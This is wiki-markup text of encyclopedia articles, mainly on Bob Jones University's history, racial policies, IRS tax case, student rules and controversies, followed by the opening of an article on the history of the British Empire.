BJU was founded in 1927 by evangelist [[Bob Jones, Sr.]], in [[College Point, Florida]]. Jones was the son of an [[Alabama]] [[sharecropper]]. His stated purpose was to create a [[school]] where Christian students could receive a high-quality education in a strongly traditional Christian environment. The following is a direct quotation from the BJU homepage:

&lt;blockquote&gt;Established in 1927 by evangelist Bob Jones Sr., Bob Jones University is known as the citadel of biblical Christianity for its adherence to the Bible as mankind's only source of faith and Christian practice. Throughout his travels, Dr. Bob Jones Sr. saw students whose faith was shaken during college, and he recognized the need for a thoroughly Christian school to train America's youth. His vision was to establish a training center for Christians from around the world that would be distinguished by its academic excellence, refined standards of behavior, and opportunities to appreciate the performing and visual arts. At the same time, Dr. Jones's intent was to make a place where Christ would be the center of all thought and conduct.&lt;/blockquote&gt;

The school moved to [[Cleveland, Tennessee]] in 1933, and to its present campus in Greenville, South Carolina in 1947. The former [[Cleveland, Tennessee]] campus currently serves as the home for [[Lee University]] operated by the [[Church of God (Cleveland)|Church of God]], which has its headquarters in the same town.

From its 1927 founding to 1971, [[African American]] people were prohibited from enrolling. From 1971 to 1975, only married black people were permitted to apply to the school. After the 1975 court decision of ''[[McCrary v. Runyon]]'', which prohibited racial exclusion from private schools, the policy was changed. A person of any race could apply to the school, but the school adopted a disciplinary rule prohibiting interracial dating or marriage:

:There is to be no interracial dating.
:#Students who are partners in an interracial marriage will be expelled. [461 U.S. 574, 581]
:#Students who are members of or affiliated with any group or organization which holds as one of its goals or advocates interracial marriage will be expelled.
:#Students who date outside of their own race will be expelled.
:#Students who espouse, promote, or encourage others to violate the University's dating rules and regulations will be expelled.&quot;

The former policies of Bob Jones University on interracial dating are indebted to the founder's view that the Bible forbids interracial dating and marriage; though today Bob Jones University sometimes claims that the policy is a product of a (1950s) legal threat on the part of the parents of a male Asian student who threatened legal action after learning that their son &quot;nearly married&quot; a white girl. [http://www.christianitytoday.com/ct/2000/110/53.0.html] 

The school lost its [[US Internal Revenue Service|Internal Revenue Service]] tax exemption in 1980 because of its anti-interracial dating policy.  The school appealed all the way to the [[U.S. Supreme Court]], arguing that the school met the criteria for tax-exempt status on several counts, including that the school's racial discrimination was based on sincerely held religious beliefs. U.S. President [[Ronald Reagan]] supported the school's tax exempt status, but the [[U.S. Supreme Court]] ruled in favor of the IRS in 1983 (see ''[[Bob Jones University v. United States]]'', 461 U.S. 574) and the school does not intend to seek tax-exempt status again.  

In 2000, following a national uproar prompted by the visit of presidential candidate George W. Bush, the policy was dropped entirely after some experimentation with a policy of parental consent for interracial dating.  

The school's attitude toward gay and lesbian people has often caused outrage.  In 1998, Wayne Mouritzen, a gay, 60-year-old alumnus, wrote seeking permission to come back to visit the school.  The dean of students wrote back: ''With grief we must tell you that as long as you are living as a homosexual, you, of course, would not be welcome on the campus and would be arrested for trespassing if you did. We take no delight in that action. Our greatest delight would be in your return to the Lord.'' [http://ctlibrary.com/1504]

==Academics==
The University is composed of six colleges and schools that offer over 125 undergraduate majors. Among these majors are fourteen &quot;trade school&quot; programs that range from [[aircraft]] management to [[cosmetology]]. Classes are also offered by correspondence and  through the University's live, interactive [[satellite]] system.

The University is currently a candidate for [[School accreditation|accreditation]] through the [[Transnational Association of Christian Colleges and Schools]][http://www.tracs.org], which means that it has the potential to become accredited during the prescribed five year period but there is no guarantee that it will become accredited. Nonetheless, &quot;School officials say they still won't accept federal student financial aid.&quot;[http://www.wciv.com/news/stories/0405/223962.html]

BJU also operates the ''[[Bob Jones University Press]]'', one of the two major publishers of curriculum for K-12 Christian schools in America (the other being [[A Beka Book]]s, which is affiliated with [[Pensacola Christian College]]).

==Extracurriculars==
The University has intramural sports programs in many different fields including [[soccer]], [[basketball]], [[softball]], [[athletics|track]], [[volleyball]], [[tennis]], [[badminton]], and [[table tennis]]. The highlight of the sports season is the Turkey Bowl, where the top two societies (the University's version of [[fraternities]] and [[sororities]]) compete in a soccer match before the Thanksgiving Break.

The University also competes in intercollegiate [[debate]] in the [[National Educational Debate Association]] and from time to time places very highly in their competitions.

==Achievements==
*In May 2004, its high school, Bob Jones Academy, won the [[National High School Mock Trial Championship]] [http://www.nationalmocktrial.org/results2004.cfm].
*On [[December 3]], [[2004]], the school broke the [[Guinness Book of Records|Guinness World Record]] for [[Christmas carol]]ing with 7,514 carolers.
*On [[April 2]], [[2005]], the school won the [[National Educational Debate Association|NEDA]] Debate [[List of NEDA Tournament Results|Nationals Tournament]], defeating [[Ball State University]] 2-1 in Varsity and 3-0 in Novice, and also taking 1st place Varsity Speaker.

==Art gallery==
[[Bob Jones, Jr.]], son of the founder, had an interest in art depicting scenes from the [[Bible]], especially those which had a highly illustrative nature rather than those relying on symbols.  He began collecting after [[World War II]], and concentrated on Italian [[Baroque]] painters.  This style was out of favor in the mid-20th century and the works were relatively inexpensive, and Jones built up an important collection.  He donated his paintings to a museum at the University. The [http://www.bjumg.org BJU Museum &amp; Gallery] now is now one of the largest collections of religious art in the Western Hemisphere.

==Controversial national recognition==
Largely due to the national attention received after the scuffle with the [[IRS]] and its ban on interracial dating, the school has been seen as a racist institution. The school has a number of international students and participates in the [[National Educational Debate Association]] intercollegiate debate format, a small association with a closed membership policy, not recognized by the mainstream [[American Forensic Association]].

===Biology===
The BJU [[biology]] department proclaims its support for [[creationism]].  Its Department of Biology's website states:
:Although Bob Jones University is primarily a teaching institution, the members of the science faculty have a long tradition of speaking, writing, and doing research related to defending the Bible's account of creation.

==Rules for students==
Bob Jones has a notably strict series of rules governing life while at the university. [http://www.bju.edu/prospective/expect/general.html][http://www.bju.edu/prospective/expect/dress.html][http://www.bju.edu/prospective/expect/rhall.html] As previously described, some of the rules have been retracted for various reasons throughout the schools history. The school asserts that its rules are in line with several other Fundamentalist Christian universities.

Such commentators as ''[[Christianity Today]]'' have argued that BJU focuses on rules rather than principles, saying that, &quot;a recent BJU handbook prohibits students from promoting Calvinism or Arminianism, speaking in tongues, wearing beards, and listening to music recorded after 1960.&quot; (Incidentally, BJU does not forbid its students to listen to music recorded after the 1960s. In fact, the University choral and instrumental groups perform contemporary music, and SoundForth, BJU’s recording label, regularly releases CDs containing music composed in the twenty-first century.) According to the Boston Globe, BJU has a reputation for stringent rules even among other  Christian colleges:
&lt;blockquote&gt;If you ask a student at non-fundamentalist evangelical schools like Wheaton in Illinois or Gordon in Wenham, Mass, what they think of Bob Jones, you will get looks of horror far worse than you'll get from secular kids — along with questions about whether Bob Jones really has separate pink and blue sidewalks for men and women. [http://www.christianitytoday.com/ct/2002/141/12.0.html]&lt;/blockquote&gt; One college administrator has stated that the institution's unchanging ways are like &quot;stroking the cat in the wrong direction.&quot; [http://www.kentucky.com/mld/kentucky/living/religion/12251675.htm]

While all these rules are based on the opinions of BJU, one rule directly mentions a specific company in relation to BJU dress code.  According to BJU, students are prohibited from wearing any clothing displaying logos from [[Abercrombie &amp; Fitch]] due to what BJU perceives as &quot;antagonism to the name of Christ&quot; and &quot;wickedness&quot; in their advertising.  

====General rules====
*[[Curfew]] is at 10:25 pm and all lights must be out by 12 am. BJU say this curfew aids safety for students and also helps to ensure that they get some needed sleep while they are at college. 
*Residence Hall Students are required to sign out when they leave campus, largely as a measure of safety.  This rule does not apply to male students with Junior and Senior privileges, who are free to leave without signing out between the hours of 7 am and 7 pm.  
*Unfiltered [[Wireless network|wireless internet access]] via computer, [[mobile phone]], or [[satellite phone]] is prohibited.  However, the university provides [[Censorware|content-filtered]] [[Wireless campus|Wi-fi service for student use]]. The filter blocks pornography and other &quot;objectionable content.&quot;
*Students are provided with an individual [[E-mail|email]] account which is filtered through the campus email system to prevent [[internet pornography|questionable content]]. BJU say this filtered email system is consistent with the practice of many major banks and other businesses.
*DVD/VCRs are not allowed in residence halls; [[DVD player]]s as part of computer systems cannot be used for watching films. [[Television]]s may be used only as monitors for [[video game console]]s.
*Students in [[residence halls]] are not allowed to watch any [[film]]s with a rating higher than a [[Motion Picture Association of America|G rating]] when visiting local homes and are forbidden from visiting [[Movie theater|cinemas]].  Additionally, students are not permitted to play, use, or own [[Computer and video games|video games]] that are rated [[Entertainment Software Rating Board|T, M, or Ao]], or that have any kind of [[profanity]], sensual or suggestive dress, rock music, blood and gore, or demonic themes.
*The University has strict rules regarding music: [[Country music|Country]], [[Jazz]], [[New Age music|New Age]], [[Rock (music)|Rock]], [[Rap]], and [[Contemporary Christian music]] are all off-limits to BJU students.
*Movie, music, and fashion posters are prohibited.
*Sexual relations between unmarried students, if discovered, is an expulsion offense.
*Possessing or distributing pornography is an expulsion offense. Some think that magazines of any kind showing any pictures of females are prohibited on the campus, but this rule does not exist.
*[[Weapon]]s of any kind must be stored by the University. [[Pistol]]s must have [[trigger lock]]s.  No [[firework]]s are allowed at any time.

====Work====
*  Students are permitted to work until 10:25 pm on weekdays and 12 am on weekends. 
* Freshmen and sophomores are not permitted to use vehicles in order to [[Commuting|commute]] to and from work because parking on campus is limited. 
* [[Solicitation]] by students in the Greenville area is forbidden. All students are required to have a retail license or permission from the [[Dean of Students]] to solicit services door to door.

====Male dress code====
*Men's hair is required to be traditionally styled with a conservative cut.  Hair must not be colored or highlighted and is not permitted to be shaved, shelved, tangled or spiked.
*Sideburns may not reach past the lower opening of the ear.  It is recommended that men be clean-shaven at all times. 
*Men may not wear earrings, necklaces, or bracelets of any kind. 
*No hats are allowed indoors except in the gymnasium. 
*Tattoos and body piercings are forbidden.
*The University will not allow articles of any kind to display the logos of [[Abercrombie &amp; Fitch]] and its subsidiary [[Hollister Co.|Hollister]]. These items may not be carried or displayed, even if the logos are hidden.
*Morning dress consists of the following: dress shirt (no denim or chambray) with tie, dress or ironed casual pants (no jeans, cargo, carpenter, or sloppy pants), dress or leather casual shoes. Sweaters should show shirt collar and tie knot.  No sweatshirts are allowed.
*Afternoon dress will include a collared shirt (no crew necks), neat casual pants, dress or casual shoes (no slippers or sandals).  Socks should be above the ankle, and sweatshirts or sweaters are permitted.
*Sunday dress requires a coat, tie, dress shirt, dress shoes, dress or dressier casual pants.
*Recreation and work dress may include jeans and t-shirts.  Sleeveless athletic shirts may be worn during indoor activities only.  Shorts may be worn at athletic facilities but not as spectators at sporting events.  Socks are required at all times.
**BJU say the goal of these guidelines for dress is a neat and professional look for students while they are at school.

====Female dress code====
General and classroom dress for women consists of a [[dress]] or top and [[skirt]].  Pants are allowed for some recreational activities.  Women may never wear [[shorts]] outside the residence halls and fitness center.

*Underwear
**Colored underwear should not be visible through outer clothing. For instance, a student should not pair a bright pink bra with a sheer white blouse.
**Underwear may not be exposed in public at any time.
**Guidelines for swimwear are that the suit must be one-piece and modest. There are no regulations about underwear beneath bathing costumes.

*Tops
**The middle area of the [[torso]] may never be exposed. Tops must be long enough to meet the top of the skirt or pants. BJU say this guideline encourages professionalism and modesty.
**Sleeveless tops and dresses may be worn with a [[blouse]], jacket, or sweater.  In all other cases, sleeves are required. BJU say this rule is one of convenience rather than conviction, and further, that there is no rule about covering the arms.
**[[Cleavage (breasts)|Necklines]] are allowed to drop four fingers below the collarbone, but no more. BJU says the choice of &quot;four fingers&quot; is nothing more than a convenient measurement.
**Tops may be fitted, but not clingy.

*Skirts
**Hemlines, slits or other openings may never be higher than the bottom of the knee. 
**Denim skirts are allowed for casual dress but not allowed in class or other professional events. 

*Pants
**Loose-fitting pants may be worn between female residence halls, for the purpose of athletic events, and to local area residences.
**Loose-fitting jeans may be worn between women's residence halls and when participating in activities where such fabric is necessary, like ice-skating, white-water rafting and skiing. 

*Ease
**All clothing, such as dresses, skirts, pants, and shirts, must fit correctly without clinging.   
**There should be at least a 3/4-inch fold of fabric on both sides of the hips and bust. This &quot;ease&quot; may be measured by standing straight and pinching the loose fabric on both sides of the hips and bust line. However, there are no random inspections of this.

*Other
**Thin and transparent clothing is allowed when accompanied by appropriate clothing worn underneath.
**[[Hosiery|Hose]] are required for all professional activities, including church, recitals, and class. 
**[[Shoe]]s like [[combat boot|combat]] or [[hiking boot]]s are not permitted.
**Feminine, neat, and orderly hairstyles are required. Masculine cuts should be avoided (although short hair is allowed). 
**Tattoos are prohibited. A maximum of two matched sets of earrings are allowed, and they must be worn in the lobe of the ear.  Any other body piercings are prohibited.
**Contrary to rumor, there is not a rule concerning female students' sleep attire.  
**The policy regarding Abercrombie &amp; Fitch as described in the male dress code section also applies to women.

==Political campaigns==
===2000 Election===
====Interracial Dating====
Over the years many [[governor|gubernatorial]] and [[president]]ial candidates have spoken at the school, including [[Ronald Reagan]], [[Jack Kemp]], [[Bob Dole]], and [[Alan Keyes]]. [[United States Democratic Party|Democrats]] tend to avoid the school, and on a national level, it is mainly [[United States Republican Party|Republicans]] who appear there attempting to increase their popularity among people that have traditionally supported the [[Democratic party]], people like Southern white conservatives. (see [[Southern strategy]]).

On [[February 2]], [[2000]], [[George W. Bush]], while campaigning to become U.S. President, addressed the school's chapel service. Some disagreed with Bush's decision to speak at the controversial institution.  Bush's speech did not include any mention of either the school's ban on interracial dating or its anti-Catholic teachings. Following the public outcry, the Bush campaign promptly released remarks declaring that Bush was neither anti-Catholic nor a racist, and that his brother [[Jeb Bush]] could not have dated his wife (who is [[Latina]]) if he had attended the school (although in fact he could have, since BJU did not view Latinos and Anglos as separate races). Bush also appeared before the press to deny that he either knew or approved of what he regarded as the school's intolerant policies.

On [[February 26]], after twenty-four days of considerable media pressure, Bush also wrote a formal letter of apology to Cardinal [[John Cardinal O'Connor|John O'Connor]] of [[New York]] for failing to denounce Bob Jones University's history of strongly anti-[[Roman Catholic Church|Catholic]] statements (among other things, the university's founder once called the Roman Catholic Church a &quot;[[satan]]ic cult&quot;). At a news conference following the letter's release, Bush stated: &quot;I make no excuses. I had an opportunity and I missed it. I regret that.&quot; and &quot;I wish I had gotten up then and seized the moment to set a tone, a tone that I had set in Texas, a positive and inclusive tone.&quot;

On [[March 3]], the school issued a &quot;Letter to the Nation&quot; defending their position and arguing that the real issue of the media pressure was [[religious freedom]].  [http://www.bju.edu/aboutbju/special_articles/response/response.html]

In December 2002, [[Trent Lott]] expressed &quot;regret&quot; for supporting the school's aim to maintain tax exempt status (eventually denied by the US Supreme Court) 20 years after he filed a brief defending the school that maintained a ban on interracial dating.[http://www.sfgate.com/cgi-bin/article.cgi?f=/news/archive/2002/12/11/national1950EST0835.DTL]

====John McCain controversy====
According to the book [[Bush's Brain]], during the 2000 Republican primaries, a professor at Bob Jones started the rumor that [[John McCain]] had fathered a [[illegitimate]] black child. (The McCains have an adopted daughter from [[Bangladesh]].)[http://readerweekly.org/issue/329/Ed_Raymond.html] In fact, &quot;one e-mail came from Bob Jones University Professor [[Richard Hand]] who wrote to fellow South Carolinians that McCain ' ''chose to sire children with out marriage''.' ”[http://transcripts.cnn.com/TRANSCRIPTS/0002/14/ip.00.html][http://www.boston.com/news/globe/editorial_opinion/oped/articles/2004/03/21/the_anatomy_of_a_smear_campaign/][http://www.newshounds.us/2005/04/29/fox_news_ignores_frist_hypocrisy.php][http://www.phxnews.com/comment.php?cid=35831]

===2004 Election===

Shortly after George W. Bush won relection in 2004, Bob Jones III sent a letter to Bush to congratulate him and told him &quot;you have been given a mandate. ... Put your agenda on the front burner and let it boil. You owe the liberals nothing. They despise you because they despise your Christ.&quot;[http://www.msnbc.msn.com/id/6850482/from/RL.5/]

==People associated with BJU==
===Notable graduates===
*[[Ed Dobson]] is pastor of Calvary Church, Grand Rapids, MI and co-author of ''Blinded by Might''. [http://www.ctlibrary.com/ct/1997/aug11/7t926a.html]
*[[Glenn Hamilton]] is a member of the South Carolina House of Representatives.
*[[Terry Haskins]] was the Speaker Pro Tempore of the South Carolina House of Representatives.
*[[Katherine Helmond]] is an actress best known as playing the family matriarch on ''[[Soap]]'' and &quot;Mona&quot; on ''[[Who's the Boss?]]''
*[[Asa Hutchinson]] an Arkansas lawyer, former U.S. Representative and Under Secretary for Border &amp; Transportation Security with the Department of Homeland Security, and currently running for governor of Arkansas.
*[[Tim Hutchinson]] is an Arkansas pastor, former U.S. Representative and U.S. Senator.
*[[Billy Kim]] is the president of the [[Baptist World Alliance]].
*[[Tim LaHaye]] is a best-selling author of [[Eschatology|eschatological]] prophecy.
*[[Peter Ruckman]], Baptist minister, teacher, artist, and writer who is critical of BJU's stance on Biblical translation.
*[[David Stertzbach]], is pastor of Trinity Baptist Church in Williston, VT and president of the Vermont Defense of Marriage Committee, a political action committee opposing civil unions for gays.

===Notable Faculty===
*[[Richard Hand]] - Professor of law who in the 2000 Republican primaries &quot;wrote to fellow South Carolinians that [[John McCain| [John] McCain]] 'chose to sire children with out marriage',&quot; which was false.[http://transcripts.cnn.com/TRANSCRIPTS/0002/14/ip.00.html][http://www.boston.com/news/globe/editorial_opinion/oped/articles/2004/03/21/the_anatomy_of_a_smear_campaign/][http://www.newshounds.us/2005/04/29/fox_news_ignores_frist_hypocrisy.php][http://www.phxnews.com/comment.php?cid=35831]

===Other alumni===
*[[Billy Graham]], evangelist, attended for one year
*[[John F. MacArthur]], pastor, author, and radio preacher
*[[Fred Phelps]], pastor of the [[Westboro Baptist Church]], whose association with the school ended abruptly after two semesters there. Phelps claims he left in opposition to the school's racial policies; school employees told the Topeka Capital Journal newspaper in 1994 that Phelps was in essence expelled due to mental instability.
*[[Cliff Barrows]], associate of Billy Graham
*Barry Rogers, a.k.a. [[Johnny Rahm]], adult film actor

===Notable honorary degree recipients===
*[[Vic Eliason]], founder of [[VCY America]]
*[[Billy Graham]], evangelist [http://www.middletownbiblechurch.org/separate/billgram.htm]
*[[Jesse Helms]], [[U.S. Senator]]
*[[Chiang Kai-shek]], leader of [[Kuomintang]]
*[[Lester Maddox]], governor of [[Georgia (U.S. state)|Georgia]]
*[[Ian Paisley]], a [[Northern Ireland|Northern Irish]] [[Member of Parliament|MP]], leader of the [[Democratic Unionist Party]] and [[Moderator]] of the [[Free Presbyterian Church of Ulster]].
*[[Strom Thurmond]], U.S. Senator from [[South Carolina]]
*[[George Wallace]], governor of [[Alabama]]
*[[John Ashcroft]], [[Attorney General of the United States]]

===Benefactors===
*[[Bibb Graves]], Grand Dragon of the Alabama Ku Klux Klan and Governor of Alabama from 1926 - 1930 and again from 1934 - 1938 helped Bob Jones, Sr. raise start-up funds for the school. Graves sat on BJU's board of trustees. A dormitory is named in his honor.
 
*[[Agnes Moorehead]], of ''[[Bewitched]]'' fame, willed her [[Ohio]] estate to BJU.

===Mentions in movies and television===	
* [[LA Law]] (1993-94) - The character Jane Halliday, played by Alexandra Powers, was a graduate of Bob Jones University.
* [[The Ladykillers]] (2004) - The remake of the movie included a character who sent money to Bob Jones University on a regular basis. The joke was that she was an elderly African-American woman who was clearly oblivious to the school's prior stance in support of segregation and against interracial dating.
* [[The O.C.]] (2005) - The April 2005 episode, [[The Return of the Nana]], featured a Bob Jones university student and his &quot;Bible Study Buddies&quot; on spring break who were out to get one of the main characters, Seth Cohen because he participated in a contest where he had to eat whipped cream off of the Bob Jones student's girlfriend.
* [[Al Franken]] (2005) Al Franken with a young male assistant posed as a father and son considering application to the University, then asking questions that were generally skeptical of the policies of the school during an interview with the admissions director. This was written about in Franken's book, [[Lies_and_the_Lying_Liars_Who_Tell_Them|''Lies and the Lying Liars Who Tell Them'']]

==External links==
===Official links===
*[http://www.bju.edu/ Bob Jones University website]
*[http://www.bjup.com Bob Jones University Press]
*[http://www.bju.edu/academics/cas/undergrad/divns/creation/ BJU creation science home]

===News Stories===
*[http://www.washingtonpost.com/wp-dyn/content/article/2005/05/04/AR2005050402413.html Taking the Bob Out of Bob Jones U.]
*[http://www.christianitytoday.com/ct/2000/110/53.0.html Bob Jones University Drops Interracial Dating Ban]

===Commentary===
*[http://www.studentsreview.com/SC/BJU_c.html#comments/ Reviews of the Bob Jones Experience by Students and Alumni]
*[http://www.killingthebuddha.com/damn_nation/being_bobjones.htm &quot;Being Black at Bob Jones U.: A fundamentalist university enters the age of integration. Sort of.&quot;]
*[http://www.troyandjessica.com/article/17/bob-jones-university-urban-legends.html BJU Urban Legends]

[[Category:Christian fundamentalism]]
[[Category:Christian universities and colleges]]
[[Category:Seminaries and theological colleges]]
[[Category:Unaccredited institutions of higher learning]]
[[Category:Universities and colleges in South Carolina]]

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    <title>Book of Hebrews</title>
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  <page>
    <title>British Empire</title>
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The '''British Empire''' was, at one time, the foremost [[global power]], and the most extensive empire in the history of the world. It was a product of the [[European]] [[Age of Discovery]] that began with the global maritime explorations of [[Portugal]] and [[Spain]] in the late [[15th century]].

By [[1921]] the British Empire held sway over a population of about 470&amp;ndash;570 million people; roughly a quarter of the world's population. It covered about 14.3 million [[square miles]] (more than 37 million km²), about a quarter of the world's total land area. Though it has since almost completely evolved into the [[Commonwealth of Nations]], there remains a strong influence across the world, such as in [[Anglo-Saxon economy|economic]] practice, [[trial by jury|legal]] and [[Westminster system|government]] systems, the spread of many traditionally British sports (such as [[cricket]] and [[Football (soccer)|football]]) and also the spread of the [[English language]].

The British Empire was at one time refered to as &quot;[[The empire on which the sun never sets|the empire on which the sun never sets]]&quot;, as due to its vastness, the sun was always shining on one of its [[colonies]].

[[Image:British Empire 1897.jpg|thumb|350px|right|The British Empire in 1897, marked in pink, the traditional colour for Imperial British dominions on maps]]

==Background: The English and Scottish Empires==
===The Anglo-Norman Kingdom===
In 1066, [[William the Conqueror|William]], Duke of [[Normandy]], conquered [[England]] and asserted his right to be king, giving England its first overseas territory (Normandy). The new rulers had dual roles. First, as [[kings of England]] they were sovereign lords. Second, as [[dukes of Normandy]], they were vassals of the [[kings of France]]. This led to centuries of conflicts which ended with their loss of [[France|French]] holdings in 1558. In the meantime, the [[annexation]] of [[Ireland]] began in 1172 and [[Wales]] was conquered in 1282.

===Growth of the overseas empire===
[[Image:Johncabotbonavista.jpg|right|thumb|150px|Statue of [[John Cabot]] in [[Newfoundland]], site of England's first overseas colony.]]
The overseas British Empire (in the sense of British oceanic exploration and settlement outside of Europe and the [[British Isles]]) was rooted in the pioneering maritime policies of King [[Henry VII of England|Henry VII]], who reigned from 1485 to 1509. Building on commercial links in the [[wool trade]] promoted during the reign of his predecessor King [[Richard III of England|Richard III]], Henry established the modern English [[merchant marine]] system, which greatly expanded English shipbuilding and seafaring. The merchant marine also supplied the basis for the mercantile institutions that would play such a crucial role in later British imperial ventures, such as the [[Massachusetts Bay Company]] and the [[British East India Company]]. Henry's financial reforms made the [[English Exchequer]] solvent, which helped to underwrite the development of the Merchant Marine. Henry also ordered construction of the first English [[dry dock]], at [[Portsmouth]], and made improvements to England's small [[Royal Navy|navy]].  Additionally, Henry sponsored the voyages of the [[Italy|Italian]] mariner [[John Cabot]] in 1496 and 1497 that established England's first overseas colony - a fishing settlement - in [[Newfoundland]], which Cabot claimed on behalf of Henry.

===[[Henry VIII of England|Henry VIII]] and the rise of the [[Royal Navy]]===
The foundations of sea power, having been laid during Henry VII's reign, were gradually expanded to protect English trade and open up new routes. King [[Henry VIII of England|Henry VIII]] founded the modern [[English navy]] (though the plans to do so were put into motion during his father's reign), more than tripling the number of warships and constructing the first large vessels with heavy, long-range guns. He initiated the Navy's formal, centralised administrative apparatus, built new docks, and constructed the network of [[beacon]]s and [[lighthouse]]s that greatly facilitated coastal [[navigation]] for English and foreign merchant sailors. Henry thus established the [[munitions]]-based [[Royal English Navy]] that was able to hold off the [[Spanish Armada]] in 1588, and his innovations provided the seed for the imperial navy of later centuries.

===The Elizabethan era===
[[Image:Loutherbourg, Spanish Armada.jpg|300px|thumb|right|''Defeat of the Spanish Armada'',  by [[Philippe-Jacques de Loutherbourg]], painted 1796.]]
During the reign of the [[Tudor dynasty|Tudor]] [[Elizabeth I of England|Queen Elizabeth I]], Sir [[Francis Drake]] [[circumnavigated the globe]] in the years 1577 to 1580, fleeing from the [[Spanish]], only the second to accomplish this feat after [[Ferdinand Magellan|Ferdinand Magellan's]] expedition.

In 1579, Drake landed somewhere in northern [[History of California|California]] and claimed for the [[English Crown]] what he named ''[[Nova Albion]]'' (&quot;New Albion&quot;, [[Albion]] being an ancient name for England), though the claim was not followed by settlement. Subsequent maps spell out ''Nova Albion'' to the north of all [[New Spain]]. Thereafter, England's interests outside [[Europe]] grew steadily, promoted by [[John Dee]], who coined the phrase &quot;British Empire&quot;. An expert in navigation, he was visited by many of the early English explorers before and after their expeditions. He was a [[Wales|Welsh]]man, and his use of the term ''&quot;[[British]]&quot;'' fitted with the Welsh origins of Elizabeth's [[Tudor]] family, although his conception of empire was derived from [[Dante]]'s book ''[[Monarchia]]''. 

[[Humphrey Gilbert]] followed on Cabot's original claim when he sailed to Newfoundland in 1583 and declared it an English [[colony]] on [[August 5]] at [[St. John's, Newfoundland and Labrador|St John's]]. [[Sir Walter Raleigh]] organised the first colony in [[Virginia]] in 1587 at [[Roanoke Island]]. Both Gilbert's Newfoundland settlement and the Roanoke colony were short-lived, however, and had to be abandoned due to food shortages, severe weather, shipwrecks, and hostile encounters with [[indigenous]] tribes on the American continent.

The [[Elizabethan era]] built on the past century's imperial foundations by expanding Henry VIII's navy, promoting [[Atlantic Ocean|Atlantic]] exploration by English sailors, and further encouraging maritime trade especially with the [[Netherlands]] and the [[Hanseatic League]]. The nearly twenty year [[Anglo-Spanish War (1585)|Anglo-Spanish War]] ([[1585]] - [[1604]]), which started well for England with the sack of [[Cadiz]] and the repulse of the [[Spanish Armada]], soon turned Spain's way with a number of serious defeats which sent the Royal English Navy into decline and allowed [[Spain]] to retain effective control of the [[Atlantic]] [[sea lanes]], thwarting English hopes of establishing colonies in [[North America]]. However it did give English sailors and shipbuilders vital experience.

===The Stuart era===
In 1604, King [[James I of England]] negotiated the [[Treaty of London, 1604|Treaty of London]], ending hostilities with Spain, and the first permanent English settlement followed in 1607 at [[Jamestown, Virginia]]. During the next three centuries, England extended its influence overseas and consolidated its political development at home. In 1707, under the [[Acts of Union 1707|Acts of Union]], the [[Parliament of England]] and the [[Parliament of Scotland]] were united in [[Westminster]], London, as the [[Parliament of Great Britain]].

===Scottish Empire===
There were several pre-union attempts at creating a [[Scotland|Scottish]] Overseas Empire, with various Scottish settlements in North and South America. The most famous of these was the disastrous [[Darién scheme]] which attempted to establish a settlement colony and trading post in [[Panama]] to foster trade between Scotland and the [[Far East]].

After union many Scots, especially in [[Canada]], [[Jamaica]], [[India]], [[Australia]] and [[New Zealand]], took up posts as doctors, lawyers and teachers. Progressions in Scotland itself during the [[Scottish enlightenment]] led to advancements throughout the empire. Scots settled across the Empire as it developed and built up their own communities such as [[Dunedin]] in New Zealand.

==Colonization==
In 1583 Sir [[Humphrey Gilbert]] claimed the island of [[Newfoundland]] as England's for Elizabeth I, reinforcing John Cabot's prior claim to the island in 1497, for Henry VII, as England's first overseas colony. Gilbert's shipwreck prevented ensuing settlement in Newfoundland, other than the seasonal [[cod]] fishermen who had frequented the island since 1497. However, the Jamestown colonists, led by Captain [[John Smith]], overcame the severe privations of the winter in 1607 to found England's first permanent overseas settlement. The empire thus took shape during the early [[17th century]], with the English settlement of the [[13 colonies|eastern colonies]] of [[North America]], which would later become the original [[United States]] as well as [[Canada]]'s [[Atlantic provinces]], and the colonisation of the smaller islands of the [[Caribbean]] such as [[Jamaica]] and [[Barbados]].

The sugar-producing colonies of the Caribbean, where [[slavery]] became the basis of the economy, were at first England's most important and lucrative colonies. The American colonies providing [[tobacco]], [[cotton]], and [[rice]] in the south and naval [[materiel]]&lt;!-- This is not a misspelling. Follow the link to find out the difference between material and materiel --&gt; and furs in the north were less financially successful, but had large areas of good agricultural land and attracted far larger numbers of English emigrants.

[[Image:death-wolfe.jpg|thumb|right|300px|''[[The Death of General Wolfe]]'' by [[Benjamin West]].]]

England's American empire was slowly expanded by war and colonisation, England gaining control of [[New Amsterdam]] (later [[New York, New York|New York]]) via negotiations following the [[Anglo-Dutch Wars|Second Anglo-Dutch War]]. The growing American colonies pressed ever westward in search of new agricultural lands.

During the [[Seven Years War]] the British defeated the French at the [[Plains of Abraham]] and captured all of [[New France]] in 1760, giving Britain control over the greater part of North America.

Later, settlement of [[Australia]] (starting with penal colonies from 1788) and [[New Zealand]] (under the crown from 1840) created a major zone of British migration. The entire Australian continent was claimed for Britain when [[Matthew Flinders]] proved [[New Holland (Australia)|New Holland]] and [[New South Wales]] to be a single land mass by completing a circumnavigation of it in 1803. The colonies later became [[self-governing colony|self-governing colonies]] and became profitable exporters of [[wool]] and [[gold]].

See also [[British colonisation of the Americas]], [[Colonial America|Colonial history of America]]

==Free trade and &quot;informal empire&quot;==
''Main article: ''[[Pax Britannica]]''.''

[[Image:Yorktown80.JPG|thumb|300px|''Surrender of Cornwallis at Yorktown'' ([[John Trumbull]], 1797). The loss of the American colonies marked the end of the &quot;first British Empire&quot;.]]

The old British colonial system began to decline in the [[18th century]]. During the long period of unbroken [[Whig]] dominance of domestic political life (1714&amp;ndash;[[1762|62]]), the Empire became less important and less well-regarded, until an ill-fated attempt (largely involving [[American Revolution|taxes, monopolies, and zoning]]) to reverse the resulting &quot;salutary neglect&quot; (or &quot;benign neglect&quot;) provoked the [[American War of Independence]] ([[1775]]&amp;ndash;[[1783|83]]), depriving Britain of her most populous colonies.

The period is sometimes referred to as the end of the &quot;first British Empire&quot;, indicating the shift of British expansion from the Americas in the 17th and 18th centuries to the &quot;second British Empire&quot; in Asia and later also Africa from the 18th century. The loss of the [[Thirteen Colonies]] showed that colonies were not necessarily particularly beneficial in economic terms, since Britain could still profit from trade with the ex-colonies without having to pay for their defence and administration.

[[Mercantilism]], the economic doctrine of competition between nations for a finite amount of wealth which had characterised the first period of colonial expansion, now gave way in Britain and elsewhere to the ''[[laissez-faire]]'' economic [[classical liberalism|liberalism]] of [[Adam Smith]] and successors like [[Richard Cobden]].

